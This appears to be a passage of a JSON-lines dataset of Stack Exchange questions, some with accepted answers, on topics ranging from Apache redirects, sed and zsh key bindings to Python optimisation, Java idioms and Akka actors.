TileMaps[0][0].CountX := 17;    TileMaps[0][0].CountY := 9;    TileMaps[0][0].Tiles := Addr(Tiles00);    TileMaps[0][1] := TileMaps[0][0];    TileMaps[0][1].Tiles := Addr(Tiles01);    TileMaps[1][0] := TileMaps[0][0];    TileMaps[1][0].Tiles := Addr(Tiles10);    TileMaps[1][1] := TileMaps[0][0];    TileMaps[1][1].Tiles := Addr(Tiles11);    // Usage    PlayerTileX := 2;    PlayerTileY := 2;    TileMapValue = GetTileValueUnchecked(@TileMaps[1][1], PlayerTileX, PlayerTileY);end."  , "title": "Translating array pointer access from C++ to Delphi"  , "tags": "c++;matrix;delphi"  } 
{  "id": "_webmaster.85388"  , "question": "We have a GoDaddy account and are using a redirect as a placeholder for our main site as dictated by management.  They want dev and staging to access our application but everything else to go to the redirect.We want to have access to our application via a staging subdomain.  I can't seem to get this thing to work.  Between the GoDaddy Redirect, the DNS Zone file, the sites-enabled (on our server) and the hosts files, I am stuck.  We're running on an AWS AMI running Ubuntu 14.04.3 LTS.Here's what I'm trying to do (text and numbers have been changed to protect the innocent):If you type in:http://dev.phishmenot.com -> The site in our development directory on our server.http://staging.phismenot.com -> The site in our staging directory on our server.http://[anything else].phishmenot.com ->      (REDIRECT 301: KickoffLabs website)Our configuration is this:Then, we have the actual zone file:My hosts file (on our AWS server):127.0.0.1 localhost67.4.67.45 dev.phishmenot.com67.4.67.45 staging.phishmenot.com# The following lines are desirable for IPv6 capable hosts::1 ip6-localhost ip6-loopbackfe00::0 ip6-localnetff00::0 ip6-mcastprefixff02::1 ip6-allnodesff02::2 ip6-allroutersff02::3 ip6-allhostsAnd here's my staging.phishmenot.com.conf file, sitting in the sites-available directory, with the symlink appropriately sitting in the sites-enabled directory:<VirtualHost staging.phishmenot.com:80>        ServerAdmin admin@phishmenot.comServerName phishmenot.com    ServerAlias staging.phishmenot.comDocumentRoot /var/www/staging/current        ErrorLog ${APACHE_LOG_DIR}/error.log        CustomLog ${APACHE_LOG_DIR}/access.log combined</VirtualHost>We're using KickoffLabs to do some of our site promotion and I followed their directions for setup.  What is strange is that I DID get the dev site to work.  I just can't remember how I did it.  I think I just kept tweaking things until it worked and then had to get back to development.I am most assuredly NOT a Unix or Server expert.  Call me an informed amateur.  I would like to get this configured in a standard way so when we get someone who DOES know what they're doing, it will be remotely recognizable.UPDATE:I tried the changes you suggested and I now can not reach my www.phishmenot.com site OR the www.kickofflabs.com site.  Here's my .htaccess file; real names and addresses edited out, but consistent with this question:RewriteEngine onRewriteBase /RewriteCond %{HTTP_HOST} !^(dev|staging).phishmenot.com$RewriteRule ^(.*) http://proxy.kickofflabs.com/$1 [QSA,L,R=301]# Hide the application and system directories by redirecting the request to index.phpRewriteRule ^(application|system|\\.svn) index.php/$1 [L]RewriteCond %{REQUEST_FILENAME} !-fRewriteCond %{REQUEST_FILENAME} !-dRewriteRule ^(.*)$ index.php/$1 [QSA,L]Header set Expires Thu, 19 Nov 1981 08:52:00 GMHeader set Cache-Control no-store, no-cache, must-revalidate, post-check=0, pre-check=0Header set Pragma no-cachePer the suggestion, I removed the redirect from GoDaddy, hopefully handling all through the .htaccess file. I also removed the CNAME record for www directing to the kickoff labs proxy.  Now staging redirects to www.phishmenot.com which no longer addresses any server.  I thought the @ in the a record was supposed to catch anything not listed as an A or CNAME record.  NOTE:  The additional mod_rewrite commands are supporting our application framework, CodeIgniter.  If there is a conflict, I can make adjustments."  , "title": "Overriding a redirect with an A record -- What am I doing wrong?"  , "tags": "redirects;dns;godaddy;ubuntu"  } 
{  "id": "_webapps.75509"  , "question": "I am running a podcast and every week we do a show, however It is not always on the same day and there are new guests each week, so I don't want to make it a regular meeting.That being said what I really want to be able to do is say Invite the normal group and have it invite everyone in that group so I don't forget anyone"  , "title": "Google Calendar Invite a standard group"  , "tags": "google calendar"  } 
{  "id": "_softwareengineering.170137"  , "question": "We are initiating a Spring + Primefaces project and the first problem we have encountered concerns storing the XHTML pages into the WEB-INF folder.When we use a faces form in a view located inside the WEB-INF folder, then the commandButton does not execute the managed bean method. <h:form id=loginForm>    <p:commandButton action=#{LoginMgr.doLogin()} value=Login/> </h:form>Our bean:<bean id=LoginMgr name=LoginMgr class=com.tesipro.channelmanager.business.implemented.CMLoginManager></bean>In fact we think the problem is that with JSF, the pages are rendered using a link to the same page as the action of the form, so if the page is located in WEB-INF it is not publicly accessible.We know that having all our XHTML views in the web folder instead of WEB-INF actually solves the issue, but we would like to store that pages into WEB-INF."  , "title": "Execute a Managed bean from a JSF view in WEB-INF folder"  , "tags": "spring;jsf"  , "accepted_answer": "Does storing it in app/WEB-INF/view folder help? We do have several actions defined in XHTMLs in app/WEB-INF/view folder. Not invoking a spring bean from there, though, but calling a web-flow action."  } 
{  "id": "_softwareengineering.291207"  , "question": "This SDK have an interface like this:public interface Contract {     void update(..);     void action(..);     void delete(..);}Now, we need to change it to something like this:public interface Contract {     String update(..);     String action(..);     String delete(..);}The interface is implemented internally by the SDK; that is not a problem. The question scope is beyond the case who somebody has implemented this interface too outside the SDK.Does this change introduce a breaking change?"  , "title": "Could changing the return type from void to string introduce breaking changes?"  , "tags": "java;refactoring;interfaces"  } 
{  "id": "_softwareengineering.314118"  , "question": "Im Just getting started with actor pattern. Coming from UnitOfWork pattern.Lets say i want to create Actor Pattern for a Employee Management System to mark they are present or absent.The Problem Im facing isShould I Create a class Say EmployeesActor instantiate it and use it as a single actor to manage all the employees. So then the messages will specify which particular employee to be marked present.ORShould i create a base class EmployeeActor and then create objects of this class for each employee in the System. This was messages would directly go to the object of EmployeeActor."  , "title": "In Actor Pattern (AKKA.Net) Should actors be classes OR Objects?"  , "tags": ".net;actor model;akka"  , "accepted_answer": "I would suggest you to create something like EmployeesManager. As a Manager this one class particularly does not have a state but will be used to manage other actors that can have state. This will receive all messages. Once Manager receives command that a particular Employee be marked as present , it will get actor referece by providing the ID, similar to a GetByID call in DDD ( assuming you are persisting the same) and do a  actor.Tell() to send the Command to the actor reference.(Its been a year since you posted this question. I would love to see a bigger community so newbie like me/us can get more insight)"  } 
{  "id": "_cs.67013"  , "question": "The Little Book of Semaphores (2nd Ed. by Allen B. Downey, section 4.5.1) as well as Wiki (link) mentioned that a trivial solution (as shown below) to the 'Cigarette smokers problem' will cause a deadlock. Somehow I couldn't wrap my head around it. Pls help me undersatnd how deadlock can occur for the below solution.P.S. We assumed agent code cannot be modified and We're free to use semaphores and other variables as neededCode sample (from the book):     Agent A                 Agent B          Agent C1 agentSem.wait()     agentSem.wait()      agentSem.wait()2 tobacco.signal()    paper.signal()       tobacco.signal()3 paper.signal()      match.signal()       match.signal()     Smoker I           Smoker II               Smoker III1 tobacco.wait()       paper.wait()           tobacco.wait()2 paper.wait()         match.wait()           match.wait()3 agentSem.signal()    agentSem.signal()      agentSem.signal()    Assume semaphores 'tobacco', 'paper', and 'match' are  initialized with    zero, and 'agentSem' is initialized with one."  , "title": "Why deadlock in cigarette smokers problem"  , "tags": "concurrency;deadlocks"  , "accepted_answer": "Agent A consumes agentSem, and produces tobacco and paper.That might make Smoker I smoke but he is late: Smoker II already took the paper and Smoker III took tobacco.Now, all the smokers are stuck, and the agents as well."  } 
{  "id": "_unix.272563"  , "question": "I am configuring a firewall on my Linux Mint 17.2 to maximize security, mainly to put my mind at rest that no one will be able to do anything malicious. In gufw, there are options for allowing or blocking incoming or outgoing. By denying incoming, what kinds of communications am I blocking? In other words, what does incoming refer to? (And out of curiosity, what does outgoing refer to?) I assume that incoming is when another computer attempts to connect to you in some manner, while outgoing is just the opposite - when you attempt to connect to another computer. However, I am not sure, so I would appreciate an answer here."  , "title": "What does the Incoming option refer to in ufw?"  , "tags": "firewall;ufw"  } 
{  "id": "_webapps.57808"  , "question": "I have two columns - they look like the following:YESNO  |  AMOUNT________________N      |  13N      |  22Y      |  13The AMOUNT column is a value output from a condition, =IF(E16=1,13,IF(E16=2,22,IF(E16=3,30)))I would like to SUBTRACT 3 from the AMOUNT column IF the YESNO column has a value of Y and I'm just not sure how to arrange this.Any suggestions? What sort of function should I be looking at to make this happen?"  , "title": "Check cell value then subtract based on outcome"  , "tags": "google spreadsheets"  , "accepted_answer": "Make a new column with the result of the new calculation, and use a simple IF command.=IF(A2 = Y,B2 - 3, B2)If you don't want to make a new column, just append - IF(A2 = Y, 3, 0) to the end of your command.=IF(E16=1,13,IF(E16=2,22,IF(E16=3,30))) - IF(A2 = Y, 3, 0)You will of course have to replace A2 with whatever your YESNO column is."  } 
{  "id": "_webmaster.74177"  , "question": "I would like it to parse standard markdown as parsed in github.  I don't like the special syntax of {% highlight java %}.I understand it can parse textile and markdown but I don't get how to change the format of a single blog post to use this syntax with his incompatible with some other systems:```java some java code ```I've noticed that it kind of works, but its syntax highlighting is not as beautiful as with {% highlight java %}. I wish it to be the same."  , "title": "How to have a blog post in Jekyll parse markdown code with ```java instead of {% highlight java %}"  , "tags": "jekyll;markdown"  } 
{  "id": "_unix.239177"  , "question": "This is my sed command:while ...;do sed -r ${counter}s/^\\S+ /$line /g $in > $out;....doneUnfortunately this command isn't doing anything when called from within a bash script/loop. So I thought to check if the variables are being resolved the right way:do echo sed -r ${counter}s/^\\S+/$line/g $in > $out;which printed this to the console:sed -r <line number>/^\\S+/<replace pattern>/g <infile> > <outfile>When executing this very command (without the ) from the console, I get this:sed: -e expression #1, char 8: unterminated s' commandI guess this is because the ' are missing around the pattern. So how do I combine double (for resolving variables in sed command) and single (for completing the search/replace pattern) quotation marks when calling this from a bash script?"  , "title": "Use sed replace with line number from variable"  , "tags": "bash;sed"  } 
{  "id": "_unix.198848"  , "question": "My roommate has a really old 1280x1024 VGA display that the driver sets to 1600x1200 by default and it causes it to display a message saying it can't display the input. I can ctrl+alt+f1 and use xrandr -d :0 to find out the output that's being used but every time I do xrandr --output CRT1 --mode 1280x1024_60.00 it says that it can't find the display. The mode is displayed when I do xrandr -d :0 so I already know it's been added. I can configure it to work properly if I connect our TV as a secondary display but the second I disconnect it, it resets to 1600x1200. I need to get it set to 1280x1024 all the time so he can use his PC."  , "title": "Change display output with xrandr?"  , "tags": "linux;display;x server;display settings"  , "accepted_answer": "So after installing other things to fix the drivers the crash message went away and the fix ended up being adding Modes 1280x1024 to the SubSection in the Screen section in xorg.conf"  } 
{  "id": "_codereview.94166"  , "question": "A lottery draw consists of choosing 6 different values from 1 to 50.I want to calculate the number of combinations with gaps of at least 3 between every pair of values.I have used the following Python 2.7 script:def func(array,length,min,max,gap):    if len(array) == length:        # print array        return 1    count = 0    for n in range(min,max+1):        count += func(array+[n],length,n+gap,max,gap)    return count;print func([],6,1,50,3)Questions:Are there any coding improvements that I can apply?Is there a different method with which we can do it more efficiently?Although more suitable for math.stackexchange.com, is there a straightforward formula?"  , "title": "Count the number of combinations with gap-restriction for every pair of values"  , "tags": "python;recursion;combinatorics"  , "accepted_answer": "There's no docstring. How do I use this function? What arguments do I pass? What does it return?It would be very easy to make this code portable to Python 3: just put parentheses around the argument to print.There's no need to terminate a statement with a semicolon in Python.The name func does not give any hint as to what the function might do. A name like combinations_with_gap would be clearer.When you have code that accumulates a sum like this:count = 0for n in A:    count += Byou can use the built-in sum:count = sum(B for n in A)If you're just counting combinations (rather than generating the combinations themselves), then you don't need the array variable, just its length.Presumably the caller is supposed to always pass the empty list [] for array and 1 for min. In that case, why make them do it? It would be easier for the caller if the function just took the arguments you need, and used a local function to do the work, like this:def combinations_with_gap(k, max, gap):    Return the number of ways of choosing k of the numbers from 1 to    max such that no two numbers are closer than gap.        def c(length, min):        if length == k:            return 1        return sum(c(length + 1, n + gap) for n in range(min, max + 1))    return c(0, 1)This runs in just over 4 seconds on my computer:>>> from timeit import timeit>>> timeit(lambda:combinations_with_gap(6, 50, 3), number=1)4.182408502034377Where is it spending its time? If you trace the calls to the inner function c, you'll see that the same values for length and min occur many times. This is a waste of effort: having computed c(5, 44), say, it would be a good idea to remember the result and reuse it instead of computing it again.One way to do this is to memoize the function, for example using the @functools.lru_cache decorator:from functools import lru_cachedef combinations_with_gap(k, max, gap):    Return the number of ways of choosing k of the numbers from 1 to    max such that no two numbers are closer than gap.        @lru_cache(maxsize=None)    def c(length, min):        if length == k:            return 1        return sum(c(length + 1, n + gap) for n in range(min, max + 1))    return c(0, 1)This version takes just a couple of milliseconds:>>> timeit(lambda:combinations_with_gap(6, 50, 3), number=1)0.0017554410151205957"  } 
{  "id": "_unix.57827"  , "question": "Zsh in Emacs edit mode comes with the default key binding ALT + Backspace to delete a word on the right side of the cursor and ALT + D to delete a word on the left side. I would like to add the latter function to ALT + DEL additionally.I tried to use the terminfo database to set the escape sequence for the key combination for every $TERM correctly. In man terminfo I read about kDC3 being the Capname which I probably need to use for ALT + DEL.I added the following line to my ~/.zshrc:bindkey -e `tput kDC3` kill-wordThis works nicely when I connect to my machine directly through SSH ($TERM is xterm). But when I start Zsh inside a Tmux-session ($TERM is screen) I get the following error message:tput: unknown terminfo capability 'kDC3'Could that really mean that it's impossible to bind anything to ALT + DEL in Tmux? Or am I just doing something wrong? Maybe kDC3 is not the correct sequence?I'm running Debian Wheezy Beta 4 x86_64."  , "title": "Tmux Terminfo problem with Zsh key bindings"  , "tags": "debian;terminal;zsh;keyboard shortcuts;tmux"  , "accepted_answer": "The first problem is that your terminfo entry for screen does not define a kDC3 capability; this is probably typical. You can either add this capability to your own custom screen entry, or you can hard code the sequences in your bindkey commands.Adding the capabilities may help other programs know about the keys, but it decentralizes your configuration (it would be easy to forget about this customization when you manually replicate your configuration to a new machine or user account). You can extract the appropriate entries with infocmp and build a new entry with tic:{ infocmp -xT screen ; infocmp -x1T xterm | grep -E '^\\tkDC[3-8]?=' ; } >/tmp/stic -x /tmp/sIf you run tic as a user that has write access to your terminfo directory (e.g. /usr/share/terminfo), then the new entry will be placed there (probably overwriting the original entry); otherwise, it will be placed under ~/.terminfo (or TERMINFO, if you have that environment variable set).For completeness, you may want to use (UP|DN|RIT|LFT|PRV|NXT|HOM|END|IC|DC) instead of DC in the grep pattern to capture the modified versions of Up, Down, Right, Left, PageUp, PageDown, Home, End, Insert, and Delete.If you dislike the configuration decentralization caused by customizing your terminfo entry, then you can hard code the value instead. To make it a bit better, you can check for kDC3 first:bindkey -e ${$(tput kDC3 2>/dev/null):-'\\e[3;3~'} kill-wordTo restrict this hard coding to just screen-based TERM values:altdel=$(tput kDC3 2>/dev/null)[[ -z $altdel && $TERM == screen(|-*) ]] && altdel='\\e[3;3~'[[ -n $altdel ]] && bindkey -e $altdel kill-wordunset altdelThis will work as long as your terminal emulator (stack) ends up generating the xterm-style sequence for the modified key.Once to have a binding, you will still need to turn on the xterm-keys option in tmux so that it will generate the xterm-style sequences for keys passed into its panes. E.g. in your ~/.tmux.conf:set-option -wg xterm-keys on"  } 
{  "id": "_ai.3295"  , "question": "I implemented Actor-Critic with N-step TD prediction to learn to play 2048 (link to the game : http://2048game.com/)For the enviroment I don't use this 2048 implementation. I use a simple one without any graphical interface, just pure matrices. The input for the neural network is the log2 of the game board.The structure of my network is:   1. Input layer   2. Hidden layer with 16 units   3. Softmax layer with 4 units (up, down, left, right) for the actor   4. Linear regression for the criticThe hidden layer is shared between the third and fourth layer.  The reward in the orginal game is the value of the merged cells. For example, if two fours merged than the reward is eight. My reward function is almost the same, except I take the log2 of it.I tried these parameteres and I also tweaked the learning rate, the gamma, but I couldn't achive any good result.  Could You recommend what should I change?"  , "title": "Reinforcement learning for 2048"  , "tags": "neural networks;reinforcement learning;game ai"  } 
{  "id": "_softwareengineering.100528"  , "question": "Another 2 days of reading and watching demos and here we go.For my enterprise LoB Silverlight app I'm going to use:Prism for UI aspects and modularity.MVVM pattern (using Prism)??? to bring data over and validations...Entity Framework for Data accessSQL Server for dataOk, main dilemma is #3. If I won't use any framework then I will have to figure out how to do all CRUD stuff myself. I can do RESTful WCF, I can do SOAP. All that == MANUAL coding.I can do RIA Services. I kind of see what it does and it is nice for direct match with my data layer BUT it is not that great if there will be lot of business logic. Where would I put it? In my ViewModel? Another question is how those services maintained. Once I generated it - I should maintain them by hand if data changes?I also found CSLA which seems to be nice on one hand but receives lot's of critique.. CSLA will allow me to write business logic and shape object as I needed and than I can pass it through ViewModel and all is well.Something tells me that RIA Services will be much quicker to write. Also, I like the fact that I don't have to include extra dependencies.There is no blogs or mentioning of RIA Services since 2010. Is it going under table? Not widely accepted? Not scaling well for big apps? I'm trying to decide which one I need to bet on. CSLA or RIA Services. OR?"  , "title": "New Silverlight app. MVVM. RIA Services vs CSLA"  , "tags": "design;design patterns;silverlight;patterns and practices"  , "accepted_answer": "I have recently been working on some line-of-business Silverlight projects.  For one we used straight WCF and did all the CRUD, state tracking, entity relationship, etc. ourselves.  For the second project we are using RIA Services and had it manage all of that stuff for us.However, we did NOT have RIA Services directly generate services based on our ORM model.  We had a layer of interfaces and dumb objects in between.  So we had a distinct data tier, business logic tier, and service tier.  RIA Services was only involved at the service tier.If you are going to use RIA Services, I recommend limiting how much of the layers of your application you let it influence.  It does force you down certain paths as far as design is concerned, so the more you contain it the more flexibility you will have.  This advice is probably sound for CSLA as well.  If you are going to bet on a particular framework, hedge your bet as much as possible.In summary, RIA Services will definitely save you time, but it does limit your flexibility a bit compared with raw WCF.  And it has some kinks and weaker areas that still need improvement.I haven't worked with CSLA, but I have seen Rocky Lhotka give talks on it several times so I know the basics.  It seems like a solid framework.  However, the main disadvantage it will have compared with RIA Services is that it isn't directly from Microsoft, so CSLA won't mesh as cohesively with other MS stuff as much as RIA Services will.  Also, in the long run I'm guessing it will be easier to find people that know RIA Services versus people that know CSLA.If it helps, I gave a talk on RIA Services you can find the presentation and some sample code on my blog.http://rationalgeek.com/blog/post/WCF-RIA-Services-Silverlight-Guild.aspx"  } 
{  "id": "_softwareengineering.160027"  , "question": "Let's say I have artifacts mylibrary-5.2.jar and mylibrary-5.3.jar representing the 5.2 and 5.3 versions of a library that our project creates and publishes for one of our other projects. Does Artifactory support having multiple versions of each of these artifacts to represent the different builds that were performed during a release to construct this artifact? For example, to produce the final version of the 5.2 release of mylibrary aka the artifact: mylibrary-5.2.jar, we went through 3 builds to get to a version that passed our integration environment's automated tests and our user acceptance tests. So there were three separate builds that produced three separate artifacts for release 5.2. We want to be able to retain and potentially recall these different build's artifact at a later date (for testing, etc).In order to do this, which of the following options would work?Capture the artifacts as separate Artifacts, i.e.build-5.2-b1.jar (build 1's artifact), build-5.2-b2.jar (build 2'sartifact), build-5.2-b3.jar (build 3's artifact), and build-5.2.jar(the final production release; which matches build 3)Capture a SINGLE artifact named build-5.2.jar which hasVERSIONS of the artifact which capture builds 1 through 3 and whichcan be recalled later, by version number. Some other option we have not considered, but should"  , "title": "How to capture different build verisons of the same production release artifact version in Artifactory?"  , "tags": "version control"  , "accepted_answer": "The usual way to do this is create each build with a separate version number. For example, 5.2.RC1, 5.2.RC2, and so on (RC is release candidate). Then make a final version that's 5.2.RELEASE.I believe (no evidence) that version 5.2.RC1 is considered newer than 5.2, which is why companies that do this tend to go with 5.2.RELEASE as the final version.You might be able to tell Artifactory to not remove snapshots when the release version is deployed. Since each snapshot is written to the repository with a unique datestamp, this will give you the history you want.You definitely do not want to combine different versions into a single JAR. That will just make your life more difficult trying to use that JAR.And really, I think you'll find the benefit of keeping each release candidate to be pretty low. Unless, of course, you're in some highly regulated or litigated field, where you must keep each version to satisfy the regulators/lawyers."  } 
{  "id": "_codereview.50965"  , "question": "The number, 1406357289, is a 0 to 9 pandigital number because it is  made up of each of the digits 0 to 9 in some order, but it also has a  rather interesting sub-string divisibility property.Let d1 be the 1st digit, d2 be the 2nd digit, and so on. In this way,  we note the following:d2d3d4=406 is divisible by 2d3d4d5=063 is divisible by 3d4d5d6=635 is divisible by 5d5d6d7=357 is divisible by 7d6d7d8=572 is divisible by 11d7d8d9=728 is divisible by 13d8d9d10=289 is divisible by 17Find the sum of all 0 to 9 pandigital numbers with this property.Project Euler 43from itertools import permutationsfrom primes import primes_uptofrom collections import Counterfrom timeit import default_timer as timerstart = timer()def follows_property(n):    divisors = primes_upto(17)    for k in range(7):        if int(n[k:(k+3)]) % divisors[k] != 0:            return False    return Trueans = 0digits = Counter(range(10))start = timer()for combo in permutations(range(10), 9):    num = ''.join([str(x) for x in list(combo)])    if follows_property(num):        missing = int(list((digits - Counter(sorted([int(k) for k in str(num)]))).elements())[0])        num = int(num)        ans += int(%d%d % (missing, num))elapsed_time = (timer() - start) * 1000 # s --> msprint Found %d in %r ms. % (ans, elapsed_time)"  , "title": "Speeding up Project Euler 43 - sub-string divisibility"  , "tags": "python;optimization;performance;strings;programming challenge"  , "accepted_answer": "You can make a few quick improvements without altering the algorithm significantly:Remove one of the redundant calls to timer().Store the list of primes instead of calculating it for every call to follows_property.Convert the digits to strings in the list passed to permutations so you can simplify the calculation of num.Run through all permutations instead of 9-tuples and remove the Counter and missing parts.These are minor changes, but they clean up the code a bit. I also renamed ans to sum to clarify what it holds. They also cut the running time by more than half.from itertools import permutationsfrom primes import primes_uptofrom collections import Counterfrom timeit import default_timer as timerdivisors = primes_upto(17)def follows_property(n):    for k in range(7):        if int(n[k+1:(k+4)]) % divisors[k] != 0:            return False    return Truesum = 0start = timer()for combo in permutations([str(x) for x in range(10)]):    num = ''.join(combo)    if follows_property(num):        sum += int(num)elapsed_time = (timer() - start) * 1000 # s --> msprint(Found %d in %r ms. % (sum, elapsed_time))"  } 
{  "id": "_unix.171388"  , "question": "A simple search in nvi on text such as:the quick red fox jumped 1 foot over the lazy 28 pound dogusing the following search/[[:digit:]]behaves like/[[:alnum:]]That is, it finds every character when repeated.  For that matter all of the bracket expressions I tried behaved as alnum.  However/[0-9]worked as expected just finding 1, 2, and 8. I've been using nvi for some time but there's a yawning chasm in my knowledge here.  Help is appreciated."  , "title": "Character class bug in nvi: [[:digit:]] is interpreted like [[:alnum:]]"  , "tags": "vi;nvi"  } 
{  "id": "_codereview.44135"  , "question": "I want to refactor the following code because I don't feel comfortable about using assignment inside comparison operator. It looks like pretty idiomatic C, but do you think this is a good practice in Java?private void demoA(BufferedReader reader) throws IOException {    String line = null;    while ((line = reader.readLine()) != null) {        doSomething(line);              }}Here is an alternative.private void demoB(BufferedReader reader) throws IOException {    String line = reader.readLine();    while (line != null) {        doSomething(line);        line = reader.readLine();    }}UPDATE: I've stumbled across a similar question asked couple years ago. It seems that opinions on whether it's OK or not are divided. However, both Guava and Commons IO provide alternative solutions for this issue. If I had any of these libs in the current project, I'd probably use them instead."  , "title": "Is it OK to use while ((line = r.readLine()) != null) construct?"  , "tags": "java;stream"  , "accepted_answer": "Assignment inside a condition is ok in this case, as the assignment is surrounded by an extra pair of parentheses  the comparison is obviously != null, there is no chance that we wanted to type line == reader.readLine().However, a for loop might actually be more elegant here:for (String line = reader.readLine(); line != null; line = reader.readLine()) {    doSomething(line);}Alternatively, we could do this which also restricts the scope of line as with the for-loop, and additionally eliminates unnecessary repetition:while (true) {    final String line = reader.readLine();    if (line == null) break;    doSomething(line);}I like this solution most because it doesn't mutate any variables."  } 
{  "id": "_webmaster.103539"  , "question": "For a project I need to fetch the file size of a GitHub release file using CURL without actually downloading the entire file. $url = 'https://github.com/atom/atom/releases/download/v1.10.2/AtomSetup.exe'$ch = curl_init($url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_HEADER, 1);curl_setopt($ch, CURLOPT_NOBODY, 1);curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30);$data = curl_exec($ch);$size = curl_getinfo($ch, CURLINFO_CONTENT_LENGTH_DOWNLOAD);curl_close($ch);echo $size;echo $data;As I have figured out CURLOPT_NOBODY allows me to just get the size of the file (from it's header) without actually downloading the entire file. If I remove line I do get the filesize but that also downloads the entire file, and that's something I'm trying to avoid. CURLOPT_NOBODY also replaces GET request with HEAD and I guess that's the part of the problem.I have also tried setting up CURLOPT_USERAGENT, CURLOPT_COOKIEFILE and CURLOPT_COOKIEJAR but that didn't work out.Any help is warm welcome!Here is the complete CURL output:HTTP/1.1 302 FoundServer: GitHub.comDate: Mon, 06 Feb 2017 16:19:08 GMTContent-Type: text/html; charset=utf-8Status: 302 FoundCache-Control: no-cacheVary: X-PJAXLocation: https://github-cloud.s3.amazonaws.com/releases/3228505/5b5e9204-7507-11e6-8019-f5a3bc356747.exe?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIA X-UA-Compatible: IE=Edge,chrome=1Set-Cookie: _gh_sess=eyJzZXNzaW9uX2lkIjoiNWFjZWNhZDEzMjFmMmFkNmFjOGMxOTIwNzRlNGQzNTEiLCJzcHlfcmVwbyI6ImF0b20vYXRvbSIsInNweV9yZXBvX2F0IjoxNDg2Mzk3OTQ4fQ%3D%3D--2 X-Request-Id: 4d192195dc74c4f6a056710d3fd30be9X-Runtime: 0.120950Content-Security-Policy: default-src 'none'; base-uri 'self'; connect-src 'self' uploads.github.com status.github.com collector.githubapp.com api.github.com www Strict-Transport-Security: max-age=31536000; includeSubdomains; preloadPublic-Key-Pins: max-age=5184000; pin-sha256=WoiWRyIOVNa9ihaBciRSC7XHjliYS9VwUGOIud4PB18=; pin-sha256=RRM1dGqnDFsCJXBTHky16vi1obOlCgFFn/yOhI/y+ho=; pin-sha2 X-Content-Type-Options: nosniffX-Frame-Options: denyX-XSS-Protection: 1; mode=blockVary: Accept-EncodingX-Served-By: 97b025644def4c59b05efb255b209cdaX-GitHub-Request-Id: CF4C:3E44:58EC2B1:8D98E31:5898A1FBHTTP/1.1 403 Forbiddenx-amz-request-id: 962EAB609235815Dx-amz-id-2: 1uccfAjq9MwgFo5BUGLhFkCjCNhkQKpVnAU9s6AF0pNy0fPqnEw6Se+UOa1RESRxyAmtoZXKImw=Content-Type: application/xmlTransfer-Encoding: chunkedDate: Mon, 06 Feb 2017 16:19:07 GMTServer: AmazonS3"  , "title": "How to get a github release filesize using CURL without downloading a file?"  , "tags": "php;github"  } 
{  "id": "_webapps.25364"  , "question": "I log in to http://webchat.freenode.net/ regularly. But in most channels, the amount of chatting is lesser than the notifications of users entering/leaving. Is there a command I can use that either hides this data or gives it a different color so I can ignore it?"  , "title": "Web IRC - how do I filter out the noise of people leaving and entering a room?"  , "tags": "irc"  , "accepted_answer": "Menu (top left corner) > Options > Hide Joins/Parts/Quits. You can also try some desktop IRC client."  } 
{  "id": "_webapps.59665"  , "question": "I would like to know how can I take Gospel music out of my stations.  I use Pandora a lot while I workout and although I like Gospel, I don't want to hear it during my workout. I play Pandora at home sometimes when i have small gatherings and on one station it will go from My Goodies to We Fall Down, almost inappropriately. I know it can be done I'm just not sure how to do it. Can someone help me out? "  , "title": "How can I exclude a particular genre of music from playlists on Pandora?"  , "tags": "pandora;pandora playlist"  } 
{  "id": "_codereview.33017"  , "question": "I find myself using this bit of code very often when I am retrieving the results from a CursorSearchItem searchItem = new SearchItem();searchItem.setId(cursor.getInt(cursor.getColumnIndex(COLUMN_NAME_ID)));searchItem.setOrigin(cursor.getString(cursor.getColumnIndex(COLUMN_NAME_ORIGIN)));searchItem.setDestination(cursor.getString(cursor.getColumnIndex(COLUMN_NAME_DESTINATION)));searchItem.setTimeStamp(cursor.getLong(cursor.getColumnIndex(COLUMN_NAME_TIMESTAMP)));Specifically this could be when I am using a CursorAdapter for a ListView and in a DAO object.What would be a useful design pattern to use in this case?My first instinct is to have a singleton class which does this. Are there any problems in taking this route?"  , "title": "Reusing Code With Database Cursors"  , "tags": "java;android"  } 
{  "id": "_unix.311795"  , "question": "Whenever I try to use the variable declared inside my SSH session it gives me blank output. Here is the code which I am trying to execute:ssh -T host <<\\HEREexport usage1=$(df -h |grep /nas/infa|sed s/%//g| awk '{printf(%d\\n,$4)}');echo $usage1HEREecho $usage1I am able to get the desired output inside the SSH session, but when calling the same variable outside the SSH it gives me blank."  , "title": "I want to use the variable declared inside an SSH session to be used locally in my shell script"  , "tags": "shell script;ssh;scripting;variable"  , "accepted_answer": "To get the value from the remotely executed command into a variable in your local environment, it's the same as getting the value of a locally executed command into your local environment, e.g.,export usage1=$(ssh -T host <<\\HEREdf -h|grep /nas/infa|sed s/%//g|awk '{printf(%d\\n,$4)}'HERE)echo $usage1"  } 
{  "id": "_softwareengineering.135240"  , "question": "I am starting a research project and need to nail down a programming language and 3D graphics API where I will be creating an environment in the field of molecular cell biology where I will be simulating a large range of experiments in silico. This will be an ongoing project which will keep expanding and growing in size. The experiments will be done in discrete time and will encompass a complex physics engine. Pretty graphics are not of importance nor is is audio. I run Ubuntu and this is the environment I will be developing in.The pairs I have investigated thus far are:java : flexible,scalable,lib/dependency organization (maven),oojogl: full control of graphicsjMonkeyEngine: full game library, includes jBullet, maybe a bit overkill for what I need.c++ : High speed, low level, ooopengl:full control of graphicsmaya:built in physics engine, infrastructure already in place, proprietary, not free matlab : Heavily math based, but difficult to maintain and scalesimulink : proprietary, not freeI am least familiar with Maya but it was suggested to me by a friend as a good approach. When would Maya be a good solution and would it be a good selection for this type of case? Just as thinking jMonkey would be overkill this is kinda my feeling on Maya.Are there any other pairings I should investigate? Also has anyone had any experience modifying an existing physics library and the flexibility or complexity of doing so (ie Bullet, JBullet, jinngine)? Unsure at this point if I should start from scratch or try and modify/expand an existing one. Any thoughts, feedback, input or any other suggestions would be greatly appreciated.Thanks"  , "title": "Best approach to selecting programming languages and 3D graphics API for simulating physics experiments"  , "tags": "java;c++;3d;opengl;simulation"  } 
